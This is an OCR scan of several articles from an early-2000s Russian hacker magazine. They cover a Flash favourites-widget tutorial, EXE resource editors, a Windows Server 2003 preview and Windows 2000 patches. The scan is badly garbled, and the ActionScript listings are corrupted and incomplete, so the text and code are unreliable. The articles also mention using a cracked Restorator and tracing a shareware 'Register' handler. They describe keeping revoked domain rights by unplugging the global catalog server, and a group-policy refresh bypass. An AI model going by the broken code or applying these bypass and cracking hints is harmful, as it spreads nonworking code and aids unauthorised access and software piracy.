нее. 

Символ номер раз на сегодня - 
кнопка «В - URL», в будущем ис- 
пользуемая как пункт нашего из- 
бранного. Здесь тоже рисуется го- 
ризонтальный —’прямоугольничек 
(300 на 20). В левой части нарисуй 
хоть точку - типа указатель на эле- 
мент списка. Над остальным прост- 
ранством прямоугольника тяни тек- 
стовое поле. Делай это поле дина- 
мическим, невыбираемым и с раз- 
мером шрифта 12. В самом поле 
можешь написать что-нибудь важ- 
ное для тебя :) и забыть - будет 
стерто скриптами. Для доступа 
скриптов надо дать полю название: 
«head». Цвет текста надо выбрать 
такой, чтобы он хорошо смотрелся 


как на светло-сером основном фо- 
не, так и на более темном варианте 
в первом кадре. Кстати о кадрах, 
указатель списка и текстовое поле 
должны быть, по крайней мере, в 
первых трех кадрах кнопки, в одном 
длинном кадре. 


ВОДЫ 


Так уж устроен наш жестокий мир, 
что абсолютное большинство благ 
Flash’a пятого в области 
ActionScript, применяемых для ма- 
нипулирования объектами, приме- 
няется лишь только для мувиков. 
Это несколько омрачает жизнь 
(славься, МХ! :)), но не прекращает 
ее. Все наши четыре кнопки необ- 
ходимо засунуть в такие же наши 
четыре клипа: соответственно «С - 
Start», «С - Close», «С - Move» и «С - 
URL». Верхние левые углы кнопок в 
клипах должны быть в центре кли- 
пов. Теперь можно делать что угод- 
но. Я все еще про нашу флешку :). 


А сделать надо следующее. Тащи на 
главную сцену эти четыре мувика по 
одной штуке, а клипа «С - Моуе» аж 
две, т.к. прокрутка должна быть в 
две стороны. Руководствуясь этим 
и юзая путь «Модификация / Транс- 
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формирование / Переворот no вер- 
тикали», переверни одну из стрелок 
так, чтобы она смотрела в сторону, 
отличную от второй кнопки. Указку 
вверх тащи к координатам X=330; 
Y=0 и называй ее «arr_up». Ty, что 
вниз, - к X=330; Y=758; имя - 
«arr_down». Клип «С - Start» ставь в 
330;10 и называй «starter», мувик «С 
- Close» - в 330;0, имя - «closer», а «С 
- URL» в любое место, отличное от 
главной рабочей области, и зови 
«proto», соответственно. 

Заходи теперь в редактирование 
клипа «С - Start» и жми правой поло- 
виной мыши на кнопке «В - Start», в 
меню выбирай Actions и пиши: 


on(press) { 
_root.proto.loadVariables(«fav.txt»); 
_x=_root._width+10; 
_root.closer._x=300 


При нажатии на сие в клип «proto» 
загрузятся переменные из тексто- 
вика «fav.txt», данный клип унесется 
на 10рх на экран, и взамен ему отту- 
да появится мувик «closer». 
Текстовик должен быть следующего 
формата. Переменным «li», «|2»... 
присваиваются урлы выбранных то- 
бой страниц, переменным «1», 
«{2»... даются значения красивых 
названий для соответствующих 
страниц (в том смысле, что адрес 
«http://www. pervertpictures.com/gal 
/ludmila2/icg.htm» неплохо было бы 
в плане отображения на Рабочем 
столе заменить на «хе-хе приколь- 
ная тетка»). Переменные в тексто- 
виках разделяются символом «&>. 
Для кнопки «В - URL» в клипе «clos- 
ег» набивай: 
оп (press) { 

getURL(Link,» blank»); 


И появится из этой кнопки при Ha- 
жатии на экране эксплорер, идущий 


Парана Pee i 


Именно такой текст нам нужен 


на... куда говорит переменная 
«link», в новом окне. 


Для самого клипа «closer» на глав- 
ной сцене вставляй скрипт: 


onClipEvent(data) { 

1=1; 

while 
(String(this[«l»»+i])!=«»)and(i<=37)) 


о 

1); 

_root[«pro»+i]._x=0; 

_root[«pro»+i]._y=10+(_root.i-1) *20; 

_root[«pro»+i] .link=this[«l»+i]; 

if (String(this[«t»+i])!=«») { 
_root[«pro»+i].head=this[«t»+i]; 

}е15е{ 
_root[«pro»+i].head=this[«l»+i]; 


i++; 


_root.first=1; 

if (String(this[«l»+(i+1)])!=«») { 
_root.arr_up._x=0; 

_root.arr_down._x=0; 

} 

} 

По окончании загрузки переменных 
в клип делается некоторое количе- 
ство его копий, по одной на каждую 
загруженную не пустую перемен- 
ную «п» в пределах 37, ибо между 
кнопками прокрутки влезает лишь 
37 клипов высотой по 20рх каждый. 
Если ссылок меньше, чем 37, будет 
лишь столько кнопок, сколько надо, 
а кнопок прокрутки не будет. Значе- 
ние этих переменных присваивает- 
ся переменной «link», т.е. той самой 
переменой урла в кнопке «В - URL» и 
переменной «head» а-ля надпись на 
кнопке. В случае отсутствия пере- 
менной надписи в заголовок кнопки 
подставляется само значение 
ссылки. После создания копий пе- 
ременной «first» основной кинолен- 
ты дается значение 1 (типа первый 
элемент списка - ссылка номер 1 - 
понадобится для скрипта в прокрут- 
ке) и, если есть следующая за по- 
следней переменной ссылка, выно- 
сятся пред твои светлы очи кнопки 
прокрутки. 


NPORPYTKA 


В этих самых прокрутках для кнопок 
надо вставить: 


press) { 
if ( _y==0)and(_root.first>1)) { 
for (j=37;j>=2;j--) { 
_root[«pro»+j].head=_root 
[«pro»+(j-1)].head; 


Il-desktop 


_root[«pro»+j].link=_root 
[«рго»+ (]-1)].ИпК; 


if (String(_root.proto 
[«t»+(_root.first-1 a ges { 
_root.pro1.head=_root.proto 
[«t»+(_root.first-1)] 
} else { 
_root.pro1.head=_root.proto 
[«l»+(_root.first-1) ] 


_root.pro1.link=_root.proto 
dG root.first-1) ] 
root.first—; 


}else if ((_y==768) and (String(_root. 
proto[«l»»+(_root. и «»)) { 
for (j=1;j<=36;j++){ 
_root[«pro»+j].head=_root 
[«pro»+(j+1) ].head; 
_root[«pro»+j].link=_root 
[«pro»+(j+1)].link; 


if (String(_root.proto[«t»+ 

(_root.first+37)])!=«») { 
_root.pro37.head=_root.proto 
[«t»+ (_root.first+37) ] 

} else { 
_root.pro37.head=_root.proto 
[«l»+(_root.first+37)] 


_root.pro37.link=_root.proto 
lag root.first+37)] 
root.first++; 
} 
} 


Пожалуй, это наиболее трудный код 
нынче. Так как пимпа для прокрутки 
у нас всего одна, а вставляться она 
будет в два разных по функциям ме- 
ста, то, определив ее положение и 
законность (в плане здравого смыс- 
ла) операции, движем значения 
ключевых переменных по клипам в 
нужную сторону. 
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Последняя скриптуемая кнопка - 
кнопка в форме крестика. Для «В - 
Close» в клипе «closer» пиши: 


on (press) { 
for (j=1;j<=_root.proto.i;j++){ 


_root[«pro»+j].removeMovieClip(); 


_x=_root._width+10; 

_root.starter._x=270; 
root.arr_up._x=_root._width+10; 
root.arr_down._x=_root._width+10; 


Заметаем следы: убиваем все со- 
зданные тобой копии клипа «proto», 
выносим на экран кнопку начала се- 
анса и прячем кнопки прокрутки, 
если надо, и самих себя. Все путем. 
Используй и наслаждайся. 


И да пребудет с тобой Великий 
Flash! 
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НЕ, Я НИ РИГА НЕ OPK, КАК ТЫ МОГ СООБРАЗИТЬ ИЗ 
НАЗВАНИЯ. Я ВСЕГО ЛИШЬ ЧЕЛОВЕК, КОТОРОГО МНОГО РАЗ 
НА ДНЮ ДОСТАЮТ ПИСЬМАМИ ТИПА: «ДРОНИЧ, КАК ТЫ 
СДЕЛАЛ В МЕНЮ «ДУСТ» ВМЕСТО «ПУСК», СКАЖИ, 
ПОЖАЛУЙСТА, ГДЕ ЭТО В РЕЕСТРЕ?» :). ТАК ЧТО В 
ОЧЕРЕДНОЙ РАЗ ЗАТЕВАНЗ Я ЛИКБЕЗ ДЛЯ САМЫХ 
МАЛЕНЬКИХ, ПЛАВНО ПЕРЕХОДЯЩИЙ В ОБЗОР ДЛЯ ВПОЛНЕ 


BOABLUIUX. 


НА ПОВЕСТКЕ ДНЯ СЕГОДНЯ ЕКЗЕХИ - С ЧЕМ ИХ 


КУШАТЬ И КАК МХ БЕЗБОЛЕЗНЕННО МОДДИТЬ. 


HERE THE 
SOFT-HUHTERS! 


Первое, о чем я обязан попросить 
тебя - ни в коем случае не лезь 
внутрь прог, чтобы сменить копи- 
райт на «Хукед бай Жама-Хакер». 
Это мало того что незаконно, да 
еще и неспортивно, неправильно и 
не по-пацански :). Так что считаем, 
что потроха исполняемых файлов 
и DLL’OK мы ворошим только для 
того, чтобы: 


а) разнообразить наскучивший 
интерфейс Винды и других по- 
пулярных прог 

Развлечение это из серии «давай- 
те надругаемся над бабушкой», но 
иногда безумно затягивает. Заме- 
нять все подряд не стоит, а вот 
привести вещи к логическому за- 
вершению - это можно. Например, 
если у тебя, как и у меня, вместо 
корзины живет симпатичный уни- 
таз, то надпись «Очистить корзи- 
ну» просто-напросто компромети- 
рует тебя в глазах продвинутых 
друзей. Вот то ли дело «Спустить 
воду» или «Слить дерьмо» :). 


6) выдрать из проги понравив- 
шийся ресурс 

Случалось так, что в какой-нибудь 
голимой и ненужной софтине ты 
напарывался на клевую авишку с 
танцующими гопака слониками? 
Если случалось, то наверно долго 
напрягала мысль - снести прогу со 
слониками и потерять их насовсем 
или любоваться на них, но терпеть 
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эту муть. Хотя можно просто выре- 
зать и сохранить :). Я, например, 
без зазрения совести выковыри- 
вал интересные ролики для вне- 
дрения в свои лабы по программи- 
рованию (где ты, первый курс, ког- 
да душа хотела учиться - прим. ги- 
поталамуса). А вот те же иконки 
интереснее выдирать специализи- 
рованными прогами (типа Icons, 
http://nmsf.sscc.ru/neuro/). Но у на- 
стоящего хацкера инструмент 
должен быть универсальным :). 


в) обрезать баннеры / умень- 
шить кнопки / поменять дефол- 
ты 

Самое практичное применение 
процесса вскрытия - изменять па- 
раметры элементов интерфейса. 
Сделать побольше кнопу, которую 
«этот идиот программер» как бы 
специально уменьшил до 2х2 пик- 
селей. Оторвать кусок окна с бан- 
нером и не любоваться им никогда 
(хотя для всех популярных прог, 
показывающих баннеры, есть го- 
товые патчи, сделанные такими 
же, какты :)). В конце концов - за- 
ставить понимать по-русски ста- 
рые импортные проги (меня в свое 
время бесил Designidef, He приз- 
нающий русских шрифтов в интер- 
фейсе, - пришлось вылечить :)). 


г) русифицировать упрямый софт 
Практически подвид прошлого спо- 
соба - только менять надо совсем 
все. Это сейчас все кодеры стара- 
ются замутить к своему софту язы- 
ковые модули в виде простых тек- 
стовиков, а вот раньше софт без пе- 


ревода был проблемой. Фиглиш, 
конечно, знать надо, иначе ты ли- 
шаешься многих удовольствий = ЛГ 
просмотра забугорных сайтов с эк- 
склюзивной инфой до наслаждения 
фильмами без перевода :). Но если 
тебе проще потусоваться полчаси- 
ка со словарем и сделать софт сво- 
ей мечты русским - милости про- 
сим, хлеб соль энд соу он :). 


На этой приятной букве Г мы закон- 
чим причины и перейдем к след- 
ствиям. Вернее, к возможным по- 
следствиям твоих художеств. Но 
сначала - прозекторская практика :). 
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Чтобы не растеряться, лучше знать, 
что ты можешь найти во внутренно- 
стях файла, что можно взять себе, 
что можно поменять, а что можно 
только с придыханием потрогать и 
положить на место. Ты можешь нат- 
кнуться на такие вещи, Kak: Bitmap 
(картиночки), Icon или Icon Group 
(иконочки), Menu (структуры и KOH- 
тент менюшек), Dialog (все окошки 
со всем содержимым), StringTable 
(сборище строк, применяемых в 
проге во всяких динамических со- 
общениях), Version Info (сюда мож- 
но по-честному дописать «профес- 
сиональный перевод Клявина A.»). 
Все это можно менять и редактиро- 
вать средствами прог, о которых мы 
поговорим. В принципе, никто не 
мешает тебе поменять все в разде- 
лах Accelerator или RCData, но за 


последствия никто не ручается, ибо 
эти части проги не просто важны, а 
жизненно важны. Я тебя предупре- 
ao 


ННЕТРУТЕНТАРИЯ 
KACTPATOPA 


Прог, копающих екзехи и дээлэл- 
ки, в наше время развелось боль- 
ше, чем кодеров Ha VB среди ха- 
керской элиты :). Выбор невелик, 
но выбирать придется. Для меня 
наиболее ценны четыре штуки, все 
они были попробованы в действии 
на моих бедных файлах, от кото- 
рых остались рога да ноги :). 


Сказал бы, что эта прога ассоци- 
ируется у меня со швейцарским 
ножом - есть много фич, все под 
рукой, все удобно. Но настоящих 
молотка и стамески не заменит :). 
Открывать умеет не только прило- 
жения и библиотеки, но и куски 
«Панели управления» (cpl, если кто 
не знает), что выглядит весьма со- 
лидно. Редактирование строк про- 
сто до безобразия (обычный Edit), 
а вот для диалогов, окон и меню- 
шек встроены очень приятные 


средства силовой правки :). Вся 
эта бня, как выражается один мой 
товарищ, отображается в виде де- 
ревца; таким образом вложен- 
ность меню и элементов окон по- 
казывается вполне наглядно. 
Очень жалко только, что поиск по 
этим красивостям не работает. То 
есть если ты хочешь заменить сло- 
BO «попа», а оно сохранено не в 
СтрингТейблах, а в меню, искать 
ты его будешь ручками :(. Обидно, 
когда меню с десяток... Радует же 
то, что всегда в наличии окошки 
для задания координат, выпадаю- 
щие списки и галочки с типами 
объектов (например, сделать пло- 
ские кнопки в старой Опере было 
до боли легко). И заметь, что во 
время редактирования непосред- 
ственно содержимого окон ты мо- 
жешь вызвать визуальный редак- 
тор диалогов (кнопка с рамкой и 
желтой рукой китайца). Это есть 
большая приятность, ибо таскать 
кнопки мышкой удобнее, чем вы- 
считывать координаты. Замена 
ресурсов проводится простым на- 
жатием кнопочки «Import», надо 
только позаботиться о соответ- 
ствии типов заменяемого ресурса 


(не пытайся согнуть ложку... в 
смысле, запихать в иконку картин- 
ку и наоборот). Добротно и по-на- 
шему. Шароварка, но это не меша- 
ет. Must have. 


A BOT эта прога все пытается сме- 
стить eXeScope с моего компа :). 
Уж очень она мне нравится - с од- 
ной стороны, все сделано менее 
кустарно и куда более стильно и 
эргономично, а с другой, софтина 
смотрится еще профессиональней 
:). Все ресурсы представлены в 
виде универсального кода на С 
(известен как ВС), превьюхи кар- 
тинок и иконок выпадают автома- 
том, то же касается и диалогов с 
менюхами. Визуальное редакти- 
рование размеров, координат и 
текста, естественно, предусмо- 
трено, причем на очень высоком 
уровне. Если в окошке визуально- 
го редактирования выбрать жер- 
тву и задействовать пункт «Edit 
Resource» из контекстного меню, 


покажется симпатичное окно 
свойств объекта (почти как в среде 
разработки типа Delphi или 


CPPBuilder). А маньяки могут спо- 
койно все править ручками прямо 
в тексте. Кстати, поиск тут работа- 


ет по всем ресурсам, хотя иногда 
лажает (это связано с тем, что 
многие слова содержат амперсанд 
- знак «&», показывающий винде, 
что следующий символ будет под- 
черкнут и использован в качестве 
шортката для быстрого перехода к 
строке меню). Импорт/экспорт на 
уровне, и тот и другой скрыты в 
меню «Action». В общем, снова 
must have. И не забудь включить 
«Show Dialog», Кулибин :). 


RESTORATOR 


Карамба! Этот универсальный 
комплекс для софтварного модде- 
ра был первым, кто предложил 
сохранять результаты изменений в 
виде патча :). То есть твое рожден- 
ное в муках творение на тему оче- 
редной проги вполне может пойти 
по рукам. Особенно это касается 
русификаторов и баннерозамени- 
телей. Из других полезностей сто- 
ит отметить только систему прос- 
мотра ресурсов (можно выбрать, 
смотреть текстом, ВС-кодом или в 
хексах), редактировать же придет- 
ся чисто в кодах - визуального 
едита не предусмотрено :). Хотя 


РАЗРЫВАЯ ПЛОТЬ 


окошко с окошком внутри :) все 
равно на экране маячит - чисто для 
ознакомления с тем ужасом, кото- 
рый ты пытаешься сотворить :). 
Больше весомых плюсов/минусов 
у Ресторатора нет, все как у всех. 
Я держу его только ради патчей, и 
то кряканную версию (шаровара 
патчей не делает, вот уж западло 
так западло :)). 


РЕ EXPLORER 


Эта софтварь тоже живет у меня на 
винте, но немного по другой при- 
чине. Да, она тоже умеет потро- 
шить исполняемые файлы, но не 
дает ничего заменить. Зато выда- 
ет хексовые адреса всех ресурсов. 


Спросишь, на какого мне это на- 
до? На большого и толстого :). Уз- 
нав адрес, по которому живет кно- 
почка «Register», можно запросто 
отловить ее обработчик. А там и до 
алгоритма недалеко. Заметь, что в 
состав Эксплорера включен отлич- 
ный дизассемблерный модуль. 
Именно из-за него я забил на 
W32dasm, который до этого верно 
служил мне при расшароварива- 
нии шаровар. Так что профикам, 
для которых хексы понятнее ВС (и 
уж тем более слюнявых окошек), 
рекомендуется как must have. 


Н ВЫМОН РУКИ! 


Надеюсь, профи не зазевали, а нь- 
юби напряглись не сильно :). Дис- 
клаймерно предупреждаю: не ко- 
выряй и не тереби что-то непонят- 
ное, пользы от этого не будет. Бэ- 
капься дважды - один файл сохра- 
няй как нетленную копию, второй - 
для правки, им ты потом заменишь 
старый экзешник. Предохраняйся, 
остерегайся, но не трусь. И вымой 
руки, мафака :). 
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MOKA В ИНЕТЕ ИДЕТ WYMMXA ПО ПОВОДУ ПРОСОЧИВШИХСЯ 
ДАННЫХ С НОВОЙ ONEPAUMOHKE OT MS - 
В ЧЕРНЫХ КОСТЮМАХ С БЕЛЫМИ ВОРОТНИЧКАМИ ПО ПОЛНОЙ 
МАСТЕРЯТ НОВУНЗ СЕРВЕРНУН-З ОСЬ. И ХОТЬ ОФИЦИАЛЬНО ОНА 
ВЫЙДЕТ ТОЛЬКО К ЛЕТУ, НАМ УДАЛОСЬ РАЗДОБЫТЬ НЕМНОЖКО 
эксклюзивной инфы для ‘тЕБЯ, А ТАКЖЕ САМИМ 
ПОПРОБОВАТЬ НА ЗУБ MS WINDOWS SERVER 2003 RG2 
(ВТОРОЙ КАНДИДАТ НА РЕЛИЗ). 


ТЫ С ПРНЯТЕПЕТ 
BOBOEM 


Даже если ты первый раз в жизни 
слышишь о MSWS, из названия по- 
нятно, что ось это явно не для оди- 
нокого диалапного компа на зад- 
ворках цивилизации :). И даже не 
для двух :). В наш век паутинооб- 
разных локальных сетей и длинного 
прозрачного оптоволокна сервера 
приходят почти в каждый дом. Вот 
примерно на такую мурь мы и 
должны по идее незамедлительно 
повестись :). А фигли нам, бобрам? 


На самом деле история серверных 
осей от М$ началась еще с первых 
версий МТ. Расцвет их пришелся на 
пятую версию, в узких кругах изве- 
стную Kak 2k :). На ней, собственно, 
и держится приличный кусок все- 
мирной паутинки. Но, как известно, 
шило в одном месте и недостаток 
денежных средств в другом застав- 
ляют Майкрософт изощренно за- 
ботиться о пользователях :). Поэто- 
му, сделав акцент на повышении 
безопасности «без ущерба функци- 
ональности», дядьки выпустили 
свежую версию с апгрейднутым 
движком и новыми компонентами. 


ЗАМЕЧАТЕЛЬНО #+НВЕТ 


Начать стоит с того, что новый 
Server совсем необязательно ис- 
пользовать крутым хостерам и веб- 
мастерам. Его можно с чистой со- 
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вестью ставить Ha локальный комп 
(правда, подключенный к сети, ина- 
че теряется весь смысл) и юзать 
вместо того же ХР, благо различия 
между ними в визуальном и настро- 
ечном плане практически незамет- 
ны. А если ты девелопишь под дот- 
нет или просто хочешь стать спе- 
цом в новомодной технологии - 
Server порадует тебя встроенным 
runtime’om для .МЕТ-приложений. 

Новая файловая система хоть и ос- 
талась старой доброй NTFS’koi, но 
приобрела необходимые для веба 
(или просто для продвинутого юзе- 
ра) фичи. Первая из них - фоновое 
снятие копий с папок раз в М еди- 
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LONGHORN - ПАРНИ 


ниц измерения времени. Назвать 
это полноценным «откатом» нель- 
зя, но вот вернуться во вчера :) 
можно без применения сторонних 
или М5$-овских прог. Для этого в 
свойствах папки или файла доста- 
точно выбрать дату последнего ав- 
тобэкапа. Фича приятная, так как 
места эти автосейвы по-любому 
занимают меньше, чем сейвы, сде- 
ланные любыми прогами. Ведь это 
уровень фаловой системы, чувак :). 
Вторая приятность - это новенькая 
дефрагментация. Как всегда, она 
была лицензирована у третьих 
фирм, но работает вполне прилич- 
но и отличается выгодными преи- 


муществами. К примеру, для сис- 
темы не составит труда дефраг- 
ментировать МЕТ даже тогда, когда 
ты вовсю гамаешь в контру :). Ты 
ведь гамаешь в контру, я угадал? :). 
Так вот, новая фишка в том, что 
обязательной остановки системы 
для переразметки фаловой табли- 
цы теперь не требуется. Комп мож- 
но не только не перезагружать, но и 
вообще не отключать. Настоящая 
мечта гика. 

Еще из новинок мне понравилась 
новая услуга восстановления ком- 
па с нуля. То есть если в момент X, 
когда у тебя ВСЕ (винт, мать, проц, 
мышь) накрылось кремлевской 
звездой, на полочке пылилась 
стопка болванок, закатанных с при- 
менением системы автоматическо- 
го восстановления; через полчаса 
ты уже будешь созерцать любимые 
ярлычки на фоне любимых сисек 
десктопа. Как мы мечтали о таком 
году этак в 1997-ом... 


ЧГАДАНТЕ. ЧТО 3A РЕН? 


Но снова к делу, ось-то вроде как 
серверная. Одним из козырей, ко- 
торый Гейтс вовремя достал из ру- 
кава, оказалась скорость. На дос- 
таточно солидной машине (что-то 
вроде восьмипневого монстра с 
RAID’om и двумя гигами памяти на 
борту) и файловый, и веб-сервера 
из стандартного набора работают 
как минимум вдвое быстрей стари- 
ка винтукея. То есть опять работает 
система «второй линеечки». Как, ты 
не знаешь, что такое вторая лине- 
ечка? Это когда вместе с диском ХР 
ты покупаешь еще 256 метров па- 
мяти и получаешь зверскую произ- 
водительность, роняющую в нокаут 
старика-винтукея. Не, про нокаут 
как-то нехорошо получилось :). 
Просто круче и быстрее, вот и все. 
Самым важным достижением сис- 
темы как сервера считается вклю- 
ченный в поставку пятый IIS. Mano 
того, что в нем теперь можно стар- 
товать процессы с правами любого 
пользователя (напомню, что рань- 
ше процесс, запущенный под ко- 
мандованием IIS, имел неограни- 
ченные права, что выделяло нам 
большой простор для эксплойтин- 
га), так OH еще и выключен в дефол- 
товых настройках :). А правда, на 
фига тебе IIS? Ты сначала с виндой 
разберись :))). 

В Server до кучи добавлена подде- 
ржка CLR (common language гип- 
time), дабы кривые руки кодера 
гестбуки не роняли на хрен весь 
сайт. То есть от ошибки одного 
программера вся система стопудо- 
во не гикнется. Наверно :). 
Поражает забота М$ о тупых адми- 
нах. Теперь все службы, которые 
можно было отключить по дефолту, 
отключили. А те, которые отклю- 
чить никак не удавалось, просто ог- 
раничили в правах. В принципе, та- 
кой переход к закрытой политике 
ресурсов может только радовать. 
Взять хотя бы одну неприятную ме- 
лочь - вход юзера с пустым паро- 
лем возможен только локально. Вот 
тебе и гикнулись любимые шары :(. 
Уж не знаю, связано ли это с бумом 
ворчокинга (кстати, недавно видел 


хитрых ребят с банкой и ноутом 
около родного института :), хорошо 
что у нас нет беспроводных сетей), 
но в Server внедрен новый прото- 
кол 802.1х, взломать шифр которо- 
го не так просто, как банальный 
WEP. Плюс к этому ключ нельзя пе- 
рехватить даже во время аутенти- 
фикации - протокол, по которому 
юзер эстеблишет соединение, то- 
же закодирован :(. Ну что за запад- 
no? 

Никуда не делась и тенденция 
внедрять мастера всюду, куда их 
только можно внедрить. Мог ли ты 
подумать лет пять-шесть назад, что 
админ пусть небольшого, локаль- 
ного, но сервака будет конфигу- 
рить его при помощи «Configure 
Your Server Wizard»? Мне вот такое 
не могло присниться и в страшном 
сне. Однако мастера есть, они по- 
могают прописать DNS, DHCP и AD, 
а заодно и выбрать роль сервера в 
сети. Может быть, для файл-серве- 
ров локальных сеток это не так уж и 
плохо... 

Еще одна беда, свалившаяся на на- 
шу голову, это встроенный меха- 
низм работы со смарт-картами. 
Смарт-карта сама по себе является 
врагом любого кулхацкера. Ну 
представь себе - хардварный пас- 
сворд, без которого учетная запись 
юзера просто не активируется. Об 
удаленном доступе нет и речи. И 
ладно бы это была защита типа ска- 
нера отпечатков пальцев, который 
сидит в системе как УЗВ-устрой- 
ство, а значит, может быть отклю- 
чен. Ни фига, смарт-ридер интег- 
рирован в мать, смарт-аутентифи- 
кация интегрирована в систему, 
круг замкнулся вокруг запястий не- 
задачливого хацкера. Даже обидно 
как-то... 


ТОН ПРНЯТЕПЬ - МАНЕКЕН 


Ho MS - всегда MS! Расстраиваться 
по поводу отсутствия багов пока 
рановато :). Расскажу тебе об од- 
HOM баге, выявленным мною чисто 
эмпирическим путем во время кон- 
ференции, посвященной выходу 
MSWS 2003 RC2. Обрисую опера- 
тивную обстановку - в новом 
Server’e появилась расширенная 
поддержка глобального каталога. 
То есть все профили юзеров хра- 
нятся на серваке, во время проце- 
дуры прилогинивания данные с 
этого сервака сливаются на твой 


ОСЬ НЕ ДЛЯ ВСЕН 


комп, и тебя пускают инсайд. Дело 
в том, что раньше при падении сер- 
вака с глобальным каталогом никто 
не мог залогиниться, ибо доступ- 
ных данных о правах пользователей 
в этот момент в сети не было. В 
2003-em же Server’e данные о юзе- 
ре кэшируются на локальном сер- 
ваке (или прямо на его компе) каж- 
дый раз после смены его прав. То 
есть если глобальный каталог 
умер, ты все равно сможешь зало- 
гиниться. Почуял подвох? Я тоже, 
поэтому решил сразу озадачить 
спеца из М$. Дождавшись, пока ре- 
бята из Урогаде’оподобных журна- 
лов зададут свои дежурные вопро- 
сы («Правда ли, что новая система 
стала еще лучше?» - «Да, это так, 
новая система стала еще лучше!» 
:)), я поставил вопрос ребром (да- 
лее конспект разговора): 


Ог: «Скажите, а в какой момент про- 
исходит обновление кэша с данны- 
ми о пользователях, если их права 
менялись?» 

М5: «В момент логина пользовате- 
ля с новыми измененными права- 
MU.» 

Dr: «То есть если меня понизили в 
правах, а я банально выдернул се- 
тевой шнур из компьютера с гло- 
бальным каталогом и залогинился, 
мои права останутся старыми?» 
MS: «Э-э-э... (2 минуты молчания) 
В общем-то, да...» 

Ог: «Спасибо» :). 


Вот такой незамысловатый способ 
мести уволенных админов бывшим 
хозяевам был найден всего за пару 
минут... То ли еще будет... 


H HASBANH ЕГО 
+THTAHHKOM-+... 


В целом система получилась как 
всегда - немного новых фич, нем- 
ного новых багов, высокая ско- 
рость на хорошем железе и всеоб- 
щая интеграция как принцип. Мне 
кажется, что заиметь себе MSWS 
стоит обязательно, если ты тусу- 
ешь в локалке. Как юзер разницы с 
ХР ты не почувствуешь, а как админ 
- сможешь воспользоваться кучкой 
полезного барахлишка :). Так что 
жди официального выхода системы 
и заценяй. Авось найдешь свою лю- 
бовь :). 
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UPDATE 


ГУТ 


В MEAKOCGOPTE ЛИБО ЗАБИЛИ НА ТЕХ, КТО ЮЗАЕТ ВИНДУ, 
СИДЯ У СЕБЯ ДОМА, ПЕРИОДИЧЕСКИ ПОДРУБАЯСЬ К ИНЕТУ 
НА ДИАЛАПЕ, ЛИБО УСТРАНИЛИ ВСЕ ВОЗМОЖНЫЕ ДЫРКИ. 
ЗАТО ПОЯВИЛИСЬ ОБНОВЛЕНИЯ, КОТОРЫЕ НУЖНЫ ДЛЯ 


АДМИНИСТРИРОВАНИЯ ЛСОКАЛСЗСК. 


МОЖЕТ БЫТЬ ЛИБО ОТСУТСТВИЕ ДЫРОСК, 
OOMAWHUAX УСЛОВИЯХ, ЛИБО ОБИЛИЕ ПИСЕМ OT ЗЛОБНЫХ 
АДМИНОВ, У KOTOPBIX TO КОНТРОЛЛЕР ДОМЕНА ГЛЮЧИТЬ 


НАЧНЕТ, TO ВООБЩЕ СЕРВАК ВЫРУБИТСЯ. 


Ну и в таком все роде. «Письма 
письмами, но ведь не получать же 
кучу спама каждый день! - подума- 
ли в Мелкософте. - Ато ведь еще и 
Microsoft.com завалят» :). И пошли 
они исправлять серверные глюки... 
А домашним юзерам дали время 
разобраться в своей системе - ос- 
воить старые проги, разобраться с 
новыми, просто поиграть. 


0.318593: ОБНОВЛЕНИЕ 
СНЕТЕТЫ GESONACHOCTH 
‹НОНТРОППЕР ДОГПЕНЯ 
MINDOMS 2000. 


Контроллер домена Windows 2000 
проверяет, кто входит в сеть, и дает 
добро на доступ. Групповая политика 
нужна для того, чтобы хранить и при- 
менять на деле установленные адми- 
ном настройки для юзеров и групп 
юзеров - настройки рабочего стола, 
доступ к файлам, к прогам, к Инету. 
Когда юзер входит с писюка в домен, 
то считывается инфа, содержащаяся 


ЕСЛИ МАМА НЕ МОЖЕТ 
ГРУЗИТЬСЯ С CHOHIKA, 
ТО ПРОШЕЙ BIOS или 
воспользуйся прРОГОИ 


для соездадНИЯ ЗАГРУЗОЧНЫХ 


ДИСКЕТ ДЛЯ WINDOWS ХР. 
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в политике групп, и используются 
указанные там настройки. По дефол- 
ту все эти настройки обновляются 
раз в полтора часа. В двухтысячных 
есть несколько способов считыва- 
ния. При одном из таких считываний 
хацкер может заблокировать обнов- 
ление настроек групповой политики, 
тем самым обломав тех юзеров, ко- 
торые пытаются войти в сеть, но не 
могут это сделать по непонятной 
причине. А сам хацкер в это время 
будет иметь админские права. Хац- 
кер может использовать дырку сна- 
чала залогинившись нормально, а 
потом открывая файлы групповой 
политики с исключительным досту- 
пом чтения. После следует второе 
залогинивание, при котором уже ни- 
какие указанные админом ограниче- 
ния на хацкера не будут действовать, 
ибо настройки групповой политики 
не были обновлены! Попробуй после 
этого отследи, кто в сетке порнухи на 
несколько гигов накачал. А достанет- 
ся за такое безобразие снова админу 
:(. Так что не надо ждать, пока умель- 
цы доберутся до файлов групповой 
политики, а надо срочно устранить 
эту дырку. Благо, в Мелкософте о 
ней позаботились и выпустили за- 
платку. А скачать его можно отсюда: 
http://www.microsoft.com/Downloads/Releas 
e.asp?ReleaselD=36844. 

Проблема с групповой политикой 
имеет место быть только в WiN2k, 
правда с любым сервиспаком (SP 1- 
3). Так что всех остальных просьба не 
беспокоиться - найдутся еще и дру- 
гие дырки. 


ПРИЧИНОЙ ЭТОГО ЯВЛЕНИЯ 
ВСТРЕЧАНОЩИХСЯ В 


TOOLS"bl ОТ MENKOCOFTA 


Навряд ли кому дома понадобится 
ставить заплатки для контроллера 
домена, а админы во всяких конторах 
сами разберутся, что им патчить, а 
что нет. Укрепление безопасности 
виндов пока можно отложить до луч- 
ших времен, а пока лучше подумать о 
том, как можно держать систему вта- 
КОМ СОСТОЯНИИ, чтобы возникало по- 
меньше глюков с тем, что уже есть. 


Утилитка для создания загрузоч- 
ных дискет Win ХР 

Да, я не опечатался. И в Мелкософте 
тоже. Просто не все компы поддер- 
живают загрузку с сидюка (хотя зача- 
стую достаточно просто прошить 
Bios, если чего-то и не работает). С 
ее помощью делаются самые обыч- 
ные загрузочные дискетки, о которых 
уже многие успели забыть. На фло- 
пик закатываются дрова к сидюку, 
которые загрузятся, если в bios’e 
сделать флопак первобутовым (1-st 
boot device). После чего можно будет 
и винду поставить. Правда, если за- 
хочешь поставить кому-то Windows 
XP Home Edition, то делай дискетку 
для Home Edition’a. Дискеты для 
Professiona’a и для Ноте’а отличают- 
ся и не подходят. Тут, конечно, ребя- 
та замудрили. Сделали бы как рань- 
ше - одна дискета для установки лю- 
бой на то время виндовой оси (95, 
